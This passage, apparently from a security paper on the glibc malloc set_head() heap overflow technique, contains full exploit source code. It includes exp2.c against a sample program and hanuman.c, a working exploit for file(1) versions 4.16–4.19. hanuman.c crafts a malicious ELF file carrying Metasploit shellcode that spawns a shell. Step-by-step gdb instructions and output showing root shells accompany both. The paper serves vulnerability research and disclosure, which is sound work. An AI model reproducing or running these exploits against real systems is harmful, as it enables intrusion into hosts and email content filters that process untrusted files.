0x8049a00: 0xf4e2fceb 0x2a98e94d 0x9ea88475 0xdb276b44
(gdb)
0x8049990 is a valid address.
5- To get the return location for your exploit, get a saved EIP from a
stack frame.
(gdb) frame 2
#2 0x0804840a in main ()
(gdb) x $ebp+4
0xbffff52c: 0x4002980c
(gdb)
0xbffff52c is the return location.
6- You can now call the exploit with the values that you have found.
bash$ ./exp1 0xbffff52c 0x8049990 0x8049a38
--[ Using 0x8049a38 as the top chunk location.
--[ Using 0xbffff52c as the return location.
--[ Impossible to use 0x8049990 as the return address. Using 0x8049991
instead
sh-2.05b# exit
exit
bash$
------[ 6.1.2.1 - Multiple overwrites
This scenario is an example of a situation where it could be possible to
leverage the set_head() technique to make it write multiple times in
memory. Applying this technique will help you improve the reliability of
the exploit. It will increase your chances of finding a valid return
location while you are exploiting the program.
--------------------------- scenario2.c -----------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char *argv[]) {
char *buffer1;
char *buffer2;
unsigned long size;
/* [1] */ buffer1 = (char *) malloc (4096);
/* [2] */ fgets (buffer1, 4200, stdin);
/* [3] */ do {
size = 0;
scanf ("%u", &size);
/* [4] */ buffer2 = (char *) malloc (size);
/*
* Random code
*/
/* [5] */ free (buffer2);
} while (size != 0);
return 0;
}
------------------------- end of scenario2.c ------------------------------
Here is a brief description of the important lines in this code:
[1]: A memory region of 4096 bytes is requested. The top chunk is split
and the request is serviced.
[2]: A call to fgets is made. The destination buffer is not checked to see
if it is large enough. The top chunk can then be overwritten here.
[3]: The program enters a loop. It reads from 'stdin' until the number '0'
is entered.
[4]: A call to malloc is done with 'size' as the parameter. The loop does
not end until size equals '0'. This gives the attacker the
possibility of overwriting the memory multiple times.
[5]: The buffer needs to be freed at the end of the loop.
------[ 6.1.2.2 - Exploit
--------------------------- exp2.c ----------------------------------------
/*
Exploit for scenario2.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// The following #define are from malloc.c and are used
// to compute the values for the malloc size and the top chunk size.
#define PREV_INUSE 0x1
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MIN_CHUNK_SIZE 16
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK))
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK)
struct sethead {
unsigned long topchunk_size;
unsigned long malloc_size;
};
/* linux_ia32_exec - CMD=/bin/id Size=68 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4f"
"\x3d\x1a\x3d\x83\xeb\xfc\xe2\xf4\x25\x36\x42\xa4\x1d\x5b\x72\x10"
"\x2c\xb4\xfd\x55\x60\x4e\x72\x3d\x27\x12\x78\x54\x21\xb4\xf9\x6f"
"\xa7\x35\x1a\x3d\x4f\x12\x78\x54\x21\x12\x73\x59\x4f\x6a\x49\xb4"
"\xae\xf0\x9a\x3d";
struct sethead * set_head_compute
(unsigned long retloc, unsigned long retadr, unsigned long toploc) {
unsigned long check_retloc, check_retadr;
struct sethead *shead;
shead = (struct sethead *) malloc (8);
if (shead == NULL) {
fprintf (stderr,
"--[ Could not allocate memory for sethead structure\n");
exit (1);
}
if ( (toploc % 8) != 0 ) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the top chunk location.",
toploc);
toploc = toploc - (toploc % 8);
fprintf (stderr, " Using 0x%x instead\n", toploc);
} else
fprintf (stderr,
"--[ Using 0x%x as the top chunk location.\n", toploc);
// The minus 8 is to take care of the normalization
// of the malloc parameter
shead->malloc_size = (retloc - toploc - 8);
// By adding the 8, we are able to sometimes perfectly hit
// the return address. To hit it perfectly, retadr must be a multiple
// of 8 + 1 (for the PREV_INUSE flag).
shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE;
if (shead->topchunk_size < shead->malloc_size) {
fprintf (stderr,
"--[ ERROR: topchunk size is less than malloc size.\n");
fprintf (stderr, "--[ Topchunk code will not be triggered\n");
exit (1);
}
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
if (check_retloc != retloc) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return location. ", retloc);
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
} else
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
retloc);
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
- request2size (shead->malloc_size)) | PREV_INUSE;
if (check_retadr != retadr) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return address.", retadr);
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
} else
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
retadr);
return shead;
}
void
put_byte (char *ptr, unsigned char data) {
*ptr = data;
}
void
put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}
int main (int argc, char *argv[]) {
char *buffer;
char malloc_size_buffer[20];
unsigned long retloc, retadr, toploc;
unsigned long topchunk_size, malloc_size;
struct sethead *shead;
int i;
if ( argc != 4) {
printf ("wrong number of arguments, exiting...\n\n");
printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]);
return 1;
}
sscanf (argv[1], "0x%x", &retloc);
sscanf (argv[2], "0x%x", &retadr);
sscanf (argv[3], "0x%x", &toploc);
shead = set_head_compute (retloc, retadr, toploc);
topchunk_size = shead->topchunk_size;
free (shead);
buffer = (char *) malloc (4108);
memset (buffer, 0x90, 4108);
put_longword (buffer+4100, topchunk_size);
memcpy (buffer+4100-strlen(scode), scode, strlen (scode));
buffer[4104]=0x0;
printf ("%s\n", buffer);
for (i = 0; i < 300; i++) {
shead = set_head_compute (retloc, retadr, toploc);
topchunk_size = shead->topchunk_size;
malloc_size = shead->malloc_size;
printf ("%u\n", malloc_size);
retloc = retloc - 8;
retadr = retadr + 8;
free (shead);
}
return 0;
}
--------------------------- end of exp2.c ---------------------------------
Here are the steps to find the memory values to use for this exploit.
1- The first step is to generate a core dump file from the vulnerable
program. You will then have to analyze this core dump to find the proper
values for your exploit.
To generate the core file, get an approximation of the top chunk location
by getting the base address of the BSS section. Normally, the heap will
start just after the BSS section:
bash$ readelf -S ./scenario2|grep bss
[22] .bss NOBITS 0804964c 00064c 000008
The BSS section starts at 0x0804964c. Let's call the exploit the following
way, and remember to replace 0x0804964c for the BSS value you have found:
bash$ ./exp2 0xc0c0c0c0 0x0804964c 0x0804964c | ./scenario2
--[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648
instead
--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4
instead
--[ Impossible to use 0x804964c as the return address. Using 0x8049649
instead
--[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648
instead
[...]
--[ Impossible to use 0xc0c0b768 as the return location. Using 0xc0c0b76c
instead
--[ Impossible to use 0x8049fa4 as the return address. Using 0x8049fa1
instead
Segmentation fault (core dumped)
bash#
2- Call gdb on that core dump file.
bash$ gdb -q scenario2 core.2698
Core was generated by `./scenario2'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/debug/libc.so.6...done.
Loaded symbols for /usr/lib/debug/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082
4082 set_head(remainder, remainder_size | PREV_INUSE);
(gdb)
3- The ESI register contains the address of the top chunk. It might be
another register for you.
(gdb) info reg esi
esi 0x804a6a8 134522536
(gdb)
4- For the return address, get a memory address at the beginning of the NOP
cushion:
0x8049654: 0x00000000 0x00000000 0x00000019 0x4013e698
0x8049664: 0x4013e698 0x400898a0 0x4013d720 0x00000000
0x8049674: 0x00000019 0x4013e6a0 0x4013e6a0 0x400899b0
0x8049684: 0x4013d720 0x00000000 0x00000019 0x4013e6a8
0x8049694: 0x4013e6a8 0x40089a80 0x4013d720 0x00000000
0x80496a4: 0x00001009 0x90909090 0x90909090 0x90909090
0x80496b4: 0x90909090 0x90909090 0x90909090 0x90909090
0x80496c4: 0x90909090 0x90909090 0x90909090 0x90909090
0x80496d4: 0x90909090 0x90909090 0x90909090 0x90909090
0x80496b4 is a valid address.
5- You can now call the exploit with the values that you have found. The
return location will be 0xbffffffc, and it will decrement with each write.
The shellcode in exp2.c executes /bin/id.
bash$ ./exp2 0xbffffffc 0x80496b4 0x804a6a8 | ./scenario2
--[ Using 0x804a6a8 as the top chunk location.
--[ Using 0xbffffffc as the return location.
--[ Impossible to use 0x80496b4 as the return address. Using 0x80496b9
instead
[...]
--[ Using 0xbffff6a4 as the return location.
--[ Impossible to use 0x804a00c as the return address. Using 0x804a011
instead
uid=0(root) gid=0(root) groups=0(root)
bash$
----[ 6.2 - A real case scenario: file(1) utility
The set_head technique was developed during the research of a security hole
in the UNIX file(1) utility. This utility is an automatic file content
type recognition tool found on many UNIX systems. The versions affected
are Ian Darwin's version 4.00 to 4.19, maintained by Christos Zoulas. This
version is the standard version of file(1) for Linux, *BSD, and other
systems, maintained by Christos Zoulas.
The main reason why so much energy was put in the development of this
exploit is mainly because the presence of a vulnerability in this utility
represents a high security risk for an SMTP content filter.
An SMTP content filter is a system that acts after the SMTP server receives
email and applies various filtering policies defined by a network
administrator. Once the scanning process is finished, the filter decides
whether the message will be relayed or not.
An SMTP content filter needs to be able to call different kind of programs
on an incoming email:
- Dearchivers;
- Decoders;
- Classifiers;
- Antivirus;
- and many more ...
The file(1) utility falls under the "classifiers" category.
This attack vector gives a complete new meaning to vulnerabilities that
were classified as low risk.
The author of this paper is also the maintainer of PIRANA [7], an
exploitation framework that tests the security of an email content filter.
By means of a vulnerability database, the content filter to be tested will
be bombarded by various emails containing a malicious payload intended to
compromise the computing platform. PIRANA's goal is to test whether or not
any vulnerability exists on the content filtering platform.
------[ 6.2.1 - The hole
The security vulnerability is in the file_printf() function. This function
fills the content of the 'ms->o.buf' buffer with the characteristics of the
inspected file. Once this is done, the buffer is printed on the screen,
showing what type of file was detected. Here is the vulnerable function:
--[ From file-4.19/src/funcs.c
01 protected int
02 file_printf(struct magic_set *ms, const char *fmt, ...)
03 {
04 va_list ap;
05 size_t len;
06 char *buf;
07
08 va_start(ap, fmt);
09 if ((len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap)) >= ms->
o.len) {
10 va_end(ap);
11 if ((buf = realloc(ms->o.buf, len + 1024)) == NULL) {
12 file_oomem(ms, len + 1024);
13 return -1;
14 }
15 ms->o.ptr = buf + (ms->o.ptr - ms->o.buf);
16 ms->o.buf = buf;
17 ms->o.len = ms->o.size - (ms->o.ptr - ms->o.buf);
18 ms->o.size = len + 1024;
19
20 va_start(ap, fmt);
21 len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap);
22 }
23 ms->o.ptr += len;
24 ms->o.len -= len;
25 va_end(ap);
26 return 0;
27 }
At first sight, this function seems to take good care of not overflowing
the 'ms->o.ptr' buffer. A first copy is done at line 09. If the
destination buffer, 'ms->o.buf', is not big enough to receive the character
string, the memory region is reallocated.
The reallocation is done at line 11, but the new size is not computed
properly. Indeed, the function assumes that the buffer should never be
bigger than 1024 added to the current length of the processed string.
The real problem is at line 21. The variable 'ms->o.len' represents the
number of bytes left in 'ms->o.buf'. The variable 'len', on the other
hand, represents the number of characters (not including the trailing
'\0') which would have been written to the final string if enough space had
been available. In the event that the buffer to be printed would be larger
than 'ms->o.len', 'len' would contain a value greater than 'ms->o.len'.
Then, at line 24, 'len' would get subtracted from 'ms->o.len'. 'ms->o.len'
could underflow below 0, and it would become a very big positive integer
because 'ms->o.len' is of type 'size_t'. Subsequent vsnprintf() calls
would then receive a very big length parameter thus rendering any bound
checking capabilities useless.
------[ 6.2.2 - All the pieces fall into place
There is an interesting portion of code in the function donote()/readelf.c.
There is a call to the vulnerable function, file_printf(), with a
user-supplied buffer. By taking advantage of this code, it will be a lot
simpler to write a successful exploit. Indeed, it will be possible to
overwrite the chunk information with arbitrary values.
--[ From file-4.19/src/readelf.c
/*
* Extract the program name. It is at
* offset 0x7c, and is up to 32-bytes,
* including the terminating NUL.
*/
if (file_printf(ms, ", from '%.31s'",
&nbuf[doff + 0x7c]) == -1)
return size;
After a couple of tries overflowing the header of the next chunk, it was
clear that the only thing that was overflowable was the wilderness chunk.
It was not possible to provoke a situation where a chunk that was not
adjacent to the top chunk could be overflowable with user controllable
data.
The file utility suffers from this buffer overflow since the 4.00 release
when the first version of file_printf() was introduced. A successful
exploitation was only possible starting from version 4.16. Indeed, this
version included a call to malloc with a user controllable variable. From
readelf.c:
--[ From file-4.19/src/readelf.c
if ((nbuf = malloc((size_t)xsh_size)) == NULL) {
file_error(ms, errno, "Cannot allocate memory"
" for note");
return -1;
This was the missing piece of the puzzle. Now, every condition is met to
use the set_head() technique.
------[ 6.2.3 - hanuman.c
/*
* hanuman.c
*
* file(1) exploit for version 4.16 to 4.19.
* Coded by Jean-Sebastien Guay-Leroux
* http://www.guay-leroux.com
*
*/
/*
Here are the steps to find the 3 memory values to use for the file(1)
exploit.
1- The first step is to generate a core dump file from file(1). You will
then have to analyze this core dump to find the proper values for your
exploit.
To generate the core file, get an approximation of the top chunk location
by getting the base address of the BSS section:
bash# readelf -S /usr/bin/file
Section Headers:
[Nr] Name Type Addr
[ 0] NULL 00000000
[ 1] .interp PROGBITS 080480f4
[...]
[22] .bss NOBITS 0804b1e0
The BSS section starts at 0x0804b1e0. Let's call the exploit the following
way, and remember to replace 0x0804b1e0 for the BSS value you have found:
bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal
--[ Using 0x804b1e0 as the top chunk location.
--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4
instead
--[ Impossible to use 0x804b1e0 as the return address. Using 0x804b1e1
instead
--[ The file has been written
bash# file mal
Segmentation fault (core dumped)
bash#
2- Call gdb on that core dump file.
bash# gdb -q file core.14854
Core was generated by `file mal'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/local/lib/libmagic.so.1...done.
Loaded symbols for /usr/local/lib/libmagic.so.1
Reading symbols from /lib/i686/libc.so.6...done.
Loaded symbols for /lib/i686/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /usr/lib/gconv/ISO8859-1.so...done.
Loaded symbols for /usr/lib/gconv/ISO8859-1.so
#0 0x400a3d15 in mallopt () from /lib/i686/libc.so.6
(gdb)
3- The EAX register contains the address of the top chunk. It might be
another register for you.
(gdb) info reg eax
eax 0x80614f8 134616312
(gdb)
4- Start searching from the location of the top chunk to find the NOP
cushion. This will be the return address.
0x80614f8: 0xc0c0c0c1 0xb8bc0ee1 0xc0c0c0c1 0xc0c0c0c1
0x8061508: 0xc0c0c0c1 0xc0c0c0c1 0x73282027 0x616e6769
0x8061518: 0x2930206c 0x90909000 0x90909090 0x90909090
0x8061528: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061538: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061548: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061558: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061568: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061578: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061588: 0x90909090 0x90909090 0x90909090 0x90909090
0x8061598: 0x90909090 0x90909090 0x90909090 0x90909090
0x80615a8: 0x90909090 0x90909090 0x90909090 0x90909090
0x80615b8: 0x90909090 0x90909090
(gdb)
0x8061558 is a valid address.
5- To get the return location for your exploit, get a saved EIP from a
stack frame.
(gdb) frame 3
#3 0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0, nbytes=8192) at
readelf.c:1007
1007 if (doshn(ms, class, swap, fd,
(gdb) x $ebp+4
0xbffff7fc: 0x400172b3
(gdb)
0xbffff7fc is the return location.
6- You can now call the exploit with the values that you have found.
bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal
--[ Using 0x80614f8 as the top chunk location.
--[ Using 0xbffff7fc as the return location.
--[ Impossible to use 0x8061558 as the return address. Using 0x8061559
instead
--[ The file has been written
bash# file mal
sh-2.05b#
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define DEBUG 0
#define initial_ELF_garbage 75
//ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
// linked
#define initial_netbsd_garbage 22
//, NetBSD-style, from '
#define post_netbsd_garbage 12
//' (signal 0)
// The following #define are from malloc.c and are used
// to compute the values for the malloc size and the top chunk size.
#define PREV_INUSE 0x1
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MIN_CHUNK_SIZE 16
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK))
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK)
// Offsets of the note entries in the file
#define OFFSET_31_BYTES 2048
#define OFFSET_N_BYTES 2304
#define OFFSET_0_BYTES 2560
#define OFFSET_OVERWRITE 2816
#define OFFSET_SHELLCODE 4096
/* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1"
"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a"
"\xc6\x2f\x40\xb3";
struct math {
int nnetbsd;
int nname;
};
struct sethead {
unsigned long topchunk_size;
unsigned long malloc_size;
};
// To be a little more independent, we ripped
// the following ELF structures from elf.h
typedef struct
{
unsigned char e_ident[16];
uint16_t e_type;
uint16_t e_machine;
uint32_t e_version;
uint32_t e_entry;
uint32_t e_phoff;
uint32_t e_shoff;
uint32_t e_flags;
uint16_t e_ehsize;
uint16_t e_phentsize;
uint16_t e_phnum;
uint16_t e_shentsize;
uint16_t e_shnum;
uint16_t e_shstrndx;
} Elf32_Ehdr;
typedef struct
{
uint32_t sh_name;
uint32_t sh_type;
uint32_t sh_flags;
uint32_t sh_addr;
uint32_t sh_offset;
uint32_t sh_size;
uint32_t sh_link;
uint32_t sh_info;
uint32_t sh_addralign;
uint32_t sh_entsize;
} Elf32_Shdr;
typedef struct
{
uint32_t n_namesz;
uint32_t n_descsz;
uint32_t n_type;
} Elf32_Nhdr;
struct sethead * set_head_compute
(unsigned long retloc, unsigned long retadr, unsigned long toploc) {
unsigned long check_retloc, check_retadr;
struct sethead *shead;
shead = (struct sethead *) malloc (8);
if (shead == NULL) {
fprintf (stderr,
"--[ Could not allocate memory for sethead structure\n");
exit (1);
}
if ( (toploc % 8) != 0 ) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the top chunk location.",
toploc);
toploc = toploc - (toploc % 8);
fprintf (stderr, " Using 0x%x instead\n", toploc);
} else
fprintf (stderr,
"--[ Using 0x%x as the top chunk location.\n", toploc);
// The minus 8 is to take care of the normalization
// of the malloc parameter
shead->malloc_size = (retloc - toploc - 8);
// By adding the 8, we are able to sometimes perfectly hit
// the return address. To hit it perfectly, retadr must be a multiple
// of 8 + 1 (for the PREV_INUSE flag).
shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE;
if (shead->topchunk_size < shead->malloc_size) {
fprintf (stderr,
"--[ ERROR: topchunk size is less than malloc size.\n");
fprintf (stderr, "--[ Topchunk code will not be triggered\n");
exit (1);
}
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
if (check_retloc != retloc) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return location. ", retloc);
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
} else
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
retloc);
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
- request2size (shead->malloc_size)) | PREV_INUSE;
if (check_retadr != retadr) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return address.", retadr);
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
} else
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
retadr);
return shead;
}
/*
Not CPU friendly :)
*/
struct math *
compute (int offset) {
int accumulator = 0;
int i, j;
struct math *math;
math = (struct math *) malloc (8);
if (math == NULL) {
printf ("--[ Could not allocate memory for math structure\n");
exit (1);
}
for (i = 1; i < 100;i++) {
for (j = 0; j < (i * 31); j++) {
accumulator = 0;
accumulator += initial_ELF_garbage;
accumulator += (i * (initial_netbsd_garbage +
post_netbsd_garbage));
accumulator += initial_netbsd_garbage;
accumulator += j;
if (accumulator == offset) {
math->nnetbsd = i;
math->nname = j;
return math;
}
}
}
// Failed to find a value
return 0;
}
void
put_byte (char *ptr, unsigned char data) {
*ptr = data;
}
void
put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}
FILE *
open_file (char *filename) {
FILE *fp;
fp = fopen ( filename , "w" );
if (!fp) {
perror ("Cant open file");
exit (1);
}
return fp;
}
void
usage (char *progname) {
printf ("\nTo use:\n");
printf ("%s <return location> <return address> ", progname);
printf ("<topchunk location> <output filename>\n\n");
exit (1);
}
int
main (int argc, char *argv[]) {
FILE *fp;
Elf32_Ehdr *elfhdr;
Elf32_Shdr *elfshdr;
Elf32_Nhdr *elfnhdr;
char *filename;
char *buffer, *ptr;
int i;
struct math *math;
struct sethead *shead;
int left_bytes;
unsigned long retloc, retadr, toploc;
unsigned long topchunk_size, malloc_size;
if ( argc != 5) {
usage ( argv[0] );
}
sscanf (argv[1], "0x%x", &retloc);
sscanf (argv[2], "0x%x", &retadr);
sscanf (argv[3], "0x%x", &toploc);
filename = (char *) malloc (256);
if (filename == NULL) {
printf ("--[ Cannot allocate memory for filename...\n");
exit (1);
}
strncpy (filename, argv[4], 255);
buffer = (char *) malloc (8192);
if (buffer == NULL) {
printf ("--[ Cannot allocate memory for file buffer\n");
exit (1);
}
memset (buffer, 0, 8192);
math = compute (1036);
if (!math) {
printf ("--[ Unable to compute a value\n");
exit (1);
}
shead = set_head_compute (retloc, retadr, toploc);
topchunk_size = shead->topchunk_size;
malloc_size = shead->malloc_size;
ptr = buffer;
elfhdr = (Elf32_Ehdr *) ptr;
// Fill our ELF header
sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01");
elfhdr->e_type = 2; // ET_EXEC
elfhdr->e_machine = 3; // EM_386
elfhdr->e_version = 1; // EV_CURRENT
elfhdr->e_entry = 0;
elfhdr->e_phoff = 0;
elfhdr->e_shoff = 52;
elfhdr->e_flags = 0;
elfhdr->e_ehsize = 52;
elfhdr->e_phentsize = 32;
elfhdr->e_phnum = 0;
elfhdr->e_shentsize = 40;
elfhdr->e_shnum = math->nnetbsd + 2;
elfhdr->e_shstrndx = 0;
ptr += elfhdr->e_ehsize;
elfshdr = (Elf32_Shdr *) ptr;
// This loop lets us eat an arbitrary number of bytes in ms->o.buf
left_bytes = math->nname;
for (i = 0; i < math->nnetbsd; i++) {
elfshdr->sh_name = 0;
elfshdr->sh_type = 7; // SHT_NOTE
elfshdr->sh_flags = 0;
elfshdr->sh_addr = 0;
elfshdr->sh_size = 256;
elfshdr->sh_link = 0;
elfshdr->sh_info = 0;
elfshdr->sh_addralign = 0;
elfshdr->sh_entsize = 0;
if (left_bytes > 31) {
// filename == 31
elfshdr->sh_offset = OFFSET_31_BYTES;
left_bytes -= 31;
} else if (left_bytes != 0) {
// filename < 31 && != 0
elfshdr->sh_offset = OFFSET_N_BYTES;
left_bytes = 0;
} else {
// filename == 0
elfshdr->sh_offset = OFFSET_0_BYTES;
}
// The first section header will also let us load
// the shellcode in memory :)
// Indeed, by requesting a large memory block,
// the topchunk will be splitted, and this memory region
// will be left untouched until we need it.
// We assume its name is 31 bytes long.
if (i == 0) {
elfshdr->sh_size = 4096;
elfshdr->sh_offset = OFFSET_SHELLCODE;
}
elfshdr++;
}
// This section header entry is for the data that will
// overwrite the topchunk size pointer
elfshdr->sh_name = 0;
elfshdr->sh_type = 7; // SHT_NOTE
elfshdr->sh_flags = 0;
elfshdr->sh_addr = 0;
elfshdr->sh_offset = OFFSET_OVERWRITE;
elfshdr->sh_size = 256;
elfshdr->sh_link = 0;
elfshdr->sh_info = 0;
elfshdr->sh_addralign = 0;
elfshdr->sh_entsize = 0;
elfshdr++;
// This section header entry triggers the call to malloc
// with a user supplied length.
// It is a requirement for the set_head technique to work
elfshdr->sh_name = 0;
elfshdr->sh_type = 7; // SHT_NOTE
elfshdr->sh_flags = 0;
elfshdr->sh_addr = 0;
elfshdr->sh_offset = OFFSET_N_BYTES;
elfshdr->sh_size = malloc_size;
elfshdr->sh_link = 0;
elfshdr->sh_info = 0;
elfshdr->sh_addralign = 0;
elfshdr->sh_entsize = 0;
elfshdr++;
// This note entry lets us eat 31 bytes + overhead
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_31_BYTES + 12;
sprintf (ptr, "NetBSD-CORE");
sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// This note entry lets us eat an arbitrary number of bytes + overhead
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_N_BYTES + 12;
sprintf (ptr, "NetBSD-CORE");
for (i = 0; i < (math->nname % 31); i++)
buffer[OFFSET_N_BYTES+24+0x7c+i]='B';
// This note entry lets us eat 0 bytes + overhead
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_0_BYTES + 12;
sprintf (ptr, "NetBSD-CORE");
buffer[OFFSET_0_BYTES+24+0x7c]=0;
// This note entry lets us specify the value that will
// overwrite the topchunk size
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_OVERWRITE + 12;
sprintf (ptr, "NetBSD-CORE");
// Put the new topchunk size 7 times in memory
// The note entry program name is at a specific, odd offset (24+0x7c)?
for (i = 0; i < 7; i++)
put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i * 4),
topchunk_size);
// This note entry lets us eat 31 bytes + overhead, but
// its real purpose is to load the shellcode in memory.
// We assume that its name is 31 bytes long.
elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE);
elfnhdr->n_namesz = 12;
elfnhdr->n_descsz = 12;
elfnhdr->n_type = 1;
ptr = buffer + OFFSET_SHELLCODE + 12;
sprintf (ptr, "NetBSD-CORE");
sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c,
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");
// Fill this memory region with our shellcode.
// Remember to leave the note entry untouched ...
memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256);
sprintf (buffer + 8191 - strlen (scode), scode);
fp = open_file (filename);
if (fwrite (buffer, 8192, 1, fp) != 0 ) {
printf ("--[ The file has been written\n");
} else {
printf ("--[ Can not write to the file\n");
exit (1);
}
fclose (fp);
free (shead);
free (math);
free (buffer);
free (filename);
return 0;
}
--[ 7 - Final words
That's all for the details of this technique; a lot has already been said
through this paper. By looking at the complexity of the malloc code, there
are probably many other ways to take control of a process by corrupting the
malloc chunks.
Of course, this paper explains the technical details of set_head, but
personally, I think that all the exploitation techniques are ephemeral.
This is more true, especially recently, with all the low level security
controls that were added to the modern operating systems. Beside having
great technical skills, I personally think it's important to develop your
mental skills and your creativity. Try to improve your attitude when
solving a difficult problem. Develop your perseverance and determination,
even though you may have failed at the same thing 20, 50 or 100 times in a
row.
I would like to greet the following individuals: bond, dp, jinx,
Michael and nitr0gen. There is more people that I forget. Thanks for the
help and the great conversations we had over the last few years.
--[ 8 - References
1. Solar Designer, http://www.openwall.com/advisories/OW-002-netscape-jpeg/
2. Anonymous, http://www.phrack.org/archives/57/p57-0x09
3. Kaempf, Michel, http://www.phrack.org/archives/57/p57-0x08
4. Phantasmal Phantasmagoria,
http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt
5. Phantasmal Phantasmagoria,
